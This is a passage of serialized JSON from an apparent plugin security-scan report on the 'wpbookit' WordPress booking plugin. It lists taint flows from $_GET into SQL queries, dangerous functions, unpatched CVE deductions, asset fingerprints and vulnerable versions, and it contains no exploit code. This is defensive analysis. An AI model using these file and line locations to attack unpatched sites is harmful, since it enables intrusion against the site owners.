(templates\u002Fshortcodes\u002Fprofile\u002Fhtml-pending-bookings.php:0)",{"nodes":557,"edges":563},[558,561],{"id":540,"type":541,"label":542,"file":559,"line":560},"templates\u002Fshortcodes\u002Fprofile\u002Fhtml-pending-bookings.php",110,{"id":546,"type":547,"label":548,"file":559,"line":562,"wp_function":550},112,[564],{"from":540,"to":546,"sanitized":445},{"entryPoint":566,"graph":567,"unsanitizedCount":13,"severity":553},"\u003Chtml-upcoming-bookings> (templates\u002Fshortcodes\u002Fprofile\u002Fhtml-upcoming-bookings.php:0)",{"nodes":568,"edges":572},[569,571],{"id":540,"type":541,"label":542,"file":570,"line":544},"templates\u002Fshortcodes\u002Fprofile\u002Fhtml-upcoming-bookings.php",{"id":546,"type":547,"label":548,"file":570,"line":549,"wp_function":550},[573],{"from":540,"to":546,"sanitized":445},{"entryPoint":575,"graph":576,"unsanitizedCount":46,"severity":39},"get_settings_html (core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-bookings.php:50)",{"nodes":577,"edges":591},[578,582,585],{"id":540,"type":541,"label":579,"file":580,"line":581},"$_GET","core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-bookings.php",67,{"id":546,"type":583,"label":584,"file":580,"line":581},"transform","→ get_bookings()",{"id":586,"type":547,"label":587,"file":588,"line":589,"wp_function":590},"n2","get_results() [SQLi]","core\u002Fincludes\u002Fclasses\u002Fclass.wpb-calendar.php",592,"get_results",[592,593],{"from":540,"to":546,"sanitized":57},{"from":546,"to":586,"sanitized":57},{"entryPoint":595,"graph":596,"unsanitizedCount":46,"severity":39},"\u003Cclass.wpb-settings-bookings> (core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-bookings.php:0)",{"nodes":597,"edges":601},[598,599,600],{"id":540,"type":541,"label":579,"file":580,"line":581},{"id":546,"type":583,"label":584,"file":580,"line":581},{"id":586,"type":547,"label":587,"file":588,"line":589,"wp_function":590},[602,603],{"from":540,"to":546,"sanitized":57},{"from":546,"to":586,"sanitized":57},{"entryPoint":605,"graph":606,"unsanitizedCount":46,"severity":39},"get_settings_html (core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-calendar.php:43)",{"nodes":607,"edges":613},[608,611,612],{"id":540,"type":541,"label":579,"file":609,"line":610},"core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-calendar.php",60,{"id":546,"type":583,"label":584,"file":609,"line":610},{"id":586,"type":547,"label":587,"file":588,"line":589,"wp_function":590},[614,615],{"from":540,"to":546,"sanitized":57},{"from":546,"to":586,"sanitized":57},{"entryPoint":617,"graph":618,"unsanitizedCount":46,"severity":39},"\u003Cclass.wpb-settings-calendar> (core\u002Fadmin\u002Fclasses\u002Fsettings\u002Fclass.wpb-settings-calendar.php:0)",{"nodes":619,"edges":623},[620,621,622],{"id":540,"type":541,"label":579,"file":609,"line":610},{"id":546,"type":583,"label":584,"file":609,"line":610},{"id":586,"type":547,"label":587,"file":588,"line":589,"wp_function":590},[624,625],{"from":540,"to":546,"sanitized":57},{"from":546,"to":586,"sanitized":57},{"summary":627,"deductions":628},"The wpbookit plugin, despite some positive security practices like consistent use of prepared statements for SQL queries and a high percentage of properly escaped output, exhibits significant security concerns.  The static analysis reveals the presence of dangerous functions such as `move_uploaded_file` and `preg_replace(\u002Fe)`, which, combined with four taint flows with unsanitized paths, present a tangible risk of code execution or data manipulation. The history of 14 known CVEs, with two currently unpatched and a notable number of critical and high severity vulnerabilities in the past, including XSS, information exposure, CSRF, and SQL injection, strongly suggests a pattern of recurring security weaknesses. This history, coupled with the dangerous functions and unsanitized taint flows, indicates a need for urgent attention to address these vulnerabilities and improve overall code quality to prevent future exploits.",[629,631,633,635,637,639],{"reason":630,"points":25},"Unpatched critical CVEs",{"reason":632,"points":25},"Unpatched high severity CVEs",{"reason":634,"points":446},"Critical taint flows found",{"reason":636,"points":11},"High severity taint flows found",{"reason":638,"points":343},"Presence of dangerous function move_uploaded_file",{"reason":640,"points":343},"Presence of dangerous function preg_replace(\u002Fe)","2026-04-16T12:17:18.436Z",{"wat":643,"direct":690},{"assetPaths":644,"generatorPatterns":648,"scriptPaths":649,"versionParams":683},[645,646,647],"\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fcss\u002Fapp.css","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fcss\u002Frtl.css","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fvendor\u002Fcss\u002Fbootstrap.js",[],[650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,650,671,672,673,674,675,676,677,678,679,680,681,682],"\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fapp.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fmoment.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fmoment-timezone-with-data.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fflatpickr.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fsweetalert.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvue.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvue-i18n.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvue-router.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Faxios.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvue-multiselect.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvee-validate.umd.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Fvue-form-generator.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fvendor\u002Ftinymce\u002Ftinymce.min.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Fdatetime-picker.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Ftabs.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Fmodal.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Fselect2.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Ftable.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Fimage-uploader.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Fcolor-picker.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fcomponents\u002Ftext-editor.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fdashboard.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fappointments.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fcustomers.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fsettings.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fpayment-gateways.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fcalendar.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fnotifications.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Femployees.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fservices.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Faddons.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fviews\u002Fimport-export.js","\u002Fwp-content\u002Fplugins\u002Fwpbookit\u002Fcore\u002Fadmin\u002Fassets\u002Fsrc\u002Fjs\u002Fmain.js",[684,685,686,687,686,688,689],"wpbookit\u002Fstyle.css?ver=","wpbookit\u002Fscript.js?ver=","wpbookit-dashbord?ver=","wpbookit-font-family?ver=","wpb-custom-code-css?ver=","wpb-custom-code-js?ver=",{"cssClasses":691,"htmlComments":719,"htmlAttributes":722,"restEndpoints":735,"jsGlobals":736,"shortcodeOutput":753},[692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718],"wpbookit-dashbord","wpb-custom-code-css","wpb-custom-code-js","iqwPB-backend-wrapper","wpb-settings-page","wpb-settings-tabs-wrapper","wpb-setting-section-header","wpb-setting-section-title","wpb-setting-section-description","wpb-setting-field-wrapper","wpb-field-label","wpb-field-input","wpb-button-primary","wpb-button-secondary","wpb-table","wpb-table-header","wpb-table-row","wpb-table-cell","wpb-modal","wpb-modal-header","wpb-modal-body","wpb-modal-footer","wpb-date-picker","wpb-time-picker","wpb-multiselect","wpb-text-editor","wpb-color-picker",[720,721],"HELPER COMMENT START","HELPER COMMENT END",[723,724,725,726,727,728,729,730,731,732,733,734],"data-wpbookit-dashboard","data-wpbookit-settings","data-wpbookit-appointments","data-wpbookit-customers","data-wpbookit-payment-gateways","data-wpbookit-calendar","data-wpbookit-notifications","data-wpbookit-employees","data-wpbookit-services","data-wpbookit-addons","data-wpbookit-import-export","v-for",[],[737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752],"WPBOOKIT","IQWPB_VERSION","IQWPB_PLUGIN_URL","wpbookit_custom_code","window.Vue","window.VueI18n","window.VueRouter","window.axios","window.VueMultiselect","window.VeeValidate","window.VueFormGenerator","window.tinymce","window.moment","window.momentTimezone","window.flatpickr","window.swal",[],{"error":445,"url":755,"statusCode":756,"statusMessage":757,"message":757},"http:\u002F\u002Flocalhost\u002Fapi\u002Fplugins\u002Fwpbookit\u002Fbundle",404,"no bundle for this plugin yet",{"slug":4,"current_version":6,"total_versions":11,"versions":759},[760,769,781,794,810,825,843,860,879,900],{"version":6,"download_url":24,"svn_tag_url":761,"released_at":37,"has_diff":57,"diff_files_changed":762,"diff_lines":37,"trac_diff_url":763,"vulnerabilities":764,"is_current":445},"https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.8&new_path=%2Fwpbookit%2Ftags%2F1.0.9",[765,766,767,768],{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"version":177,"download_url":770,"svn_tag_url":771,"released_at":37,"has_diff":57,"diff_files_changed":772,"diff_lines":37,"trac_diff_url":773,"vulnerabilities":774,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.7&new_path=%2Fwpbookit%2Ftags%2F1.0.8",[775,776,777,778,779,780],{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"version":107,"download_url":782,"svn_tag_url":783,"released_at":37,"has_diff":57,"diff_files_changed":784,"diff_lines":37,"trac_diff_url":785,"vulnerabilities":786,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.6&new_path=%2Fwpbookit%2Ftags%2F1.0.7",[787,788,789,790,791,792,793],{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"version":795,"download_url":796,"svn_tag_url":797,"released_at":37,"has_diff":57,"diff_files_changed":798,"diff_lines":37,"trac_diff_url":799,"vulnerabilities":800,"is_current":57},"1.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.5&new_path=%2Fwpbookit%2Ftags%2F1.0.6",[801,802,803,804,805,806,807,808,809],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"version":133,"download_url":811,"svn_tag_url":812,"released_at":37,"has_diff":57,"diff_files_changed":813,"diff_lines":37,"trac_diff_url":814,"vulnerabilities":815,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.4&new_path=%2Fwpbookit%2Ftags%2F1.0.5",[816,817,818,819,820,821,822,823,824],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"version":826,"download_url":827,"svn_tag_url":828,"released_at":37,"has_diff":57,"diff_files_changed":829,"diff_lines":37,"trac_diff_url":830,"vulnerabilities":831,"is_current":57},"1.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.3&new_path=%2Fwpbookit%2Ftags%2F1.0.4",[832,833,834,835,836,837,838,839,840,841,842],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":128,"url_slug":129,"title":130,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":133},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"id":140,"url_slug":141,"title":142,"severity":39,"cvss_score":144,"vuln_type":121,"patched_in_version":133},{"version":156,"download_url":844,"svn_tag_url":845,"released_at":37,"has_diff":57,"diff_files_changed":846,"diff_lines":37,"trac_diff_url":847,"vulnerabilities":848,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.2&new_path=%2Fwpbookit%2Ftags%2F1.0.3",[849,850,851,852,853,854,855,856,857,858,859],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":128,"url_slug":129,"title":130,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":133},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"id":140,"url_slug":141,"title":142,"severity":39,"cvss_score":144,"vuln_type":121,"patched_in_version":133},{"version":192,"download_url":861,"svn_tag_url":862,"released_at":37,"has_diff":57,"diff_files_changed":863,"diff_lines":37,"trac_diff_url":864,"vulnerabilities":865,"is_current":57},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.1&new_path=%2Fwpbookit%2Ftags%2F1.0.2",[866,867,868,869,870,871,872,873,874,875,876,877,878],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":128,"url_slug":129,"title":130,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":133},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":151,"url_slug":152,"title":153,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":164,"url_slug":165,"title":166,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"id":140,"url_slug":141,"title":142,"severity":39,"cvss_score":144,"vuln_type":121,"patched_in_version":133},{"version":880,"download_url":881,"svn_tag_url":882,"released_at":37,"has_diff":57,"diff_files_changed":883,"diff_lines":37,"trac_diff_url":884,"vulnerabilities":885,"is_current":57},"1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwpbookit%2Ftags%2F1.0.0&new_path=%2Fwpbookit%2Ftags%2F1.0.1",[886,887,888,889,890,891,892,893,894,895,896,897,898,899],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":128,"url_slug":129,"title":130,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":133},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":187,"url_slug":188,"title":189,"severity":72,"cvss_score":193,"vuln_type":95,"patched_in_version":192},{"id":151,"url_slug":152,"title":153,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":164,"url_slug":165,"title":166,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"id":140,"url_slug":141,"title":142,"severity":39,"cvss_score":144,"vuln_type":121,"patched_in_version":133},{"version":901,"download_url":902,"svn_tag_url":903,"released_at":37,"has_diff":57,"diff_files_changed":904,"diff_lines":37,"trac_diff_url":37,"vulnerabilities":905,"is_current":57},"1.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpbookit.1.0.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwpbookit\u002Ftags\u002F1.0.0\u002F",[],[906,907,908,909,910,911,912,913,914,915,916,917,918,919],{"id":114,"url_slug":115,"title":116,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":107},{"id":202,"url_slug":203,"title":204,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":207},{"id":128,"url_slug":129,"title":130,"severity":118,"cvss_score":119,"vuln_type":121,"patched_in_version":133},{"id":88,"url_slug":89,"title":90,"severity":72,"cvss_score":93,"vuln_type":95,"patched_in_version":37},{"id":226,"url_slug":227,"title":228,"severity":39,"cvss_score":231,"vuln_type":233,"patched_in_version":37},{"id":214,"url_slug":215,"title":216,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":219},{"id":187,"url_slug":188,"title":189,"severity":72,"cvss_score":193,"vuln_type":95,"patched_in_version":192},{"id":151,"url_slug":152,"title":153,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":33,"url_slug":34,"title":35,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":6},{"id":102,"url_slug":103,"title":104,"severity":39,"cvss_score":40,"vuln_type":42,"patched_in_version":107},{"id":68,"url_slug":69,"title":70,"severity":72,"cvss_score":73,"vuln_type":75,"patched_in_version":6},{"id":164,"url_slug":165,"title":166,"severity":118,"cvss_score":119,"vuln_type":157,"patched_in_version":156},{"id":173,"url_slug":174,"title":175,"severity":72,"cvss_score":73,"vuln_type":179,"patched_in_version":177},{"id":140,"url_slug":141,"title":142,"severity":39,"cvss_score":144,"vuln_type":121,"patched_in_version":133}]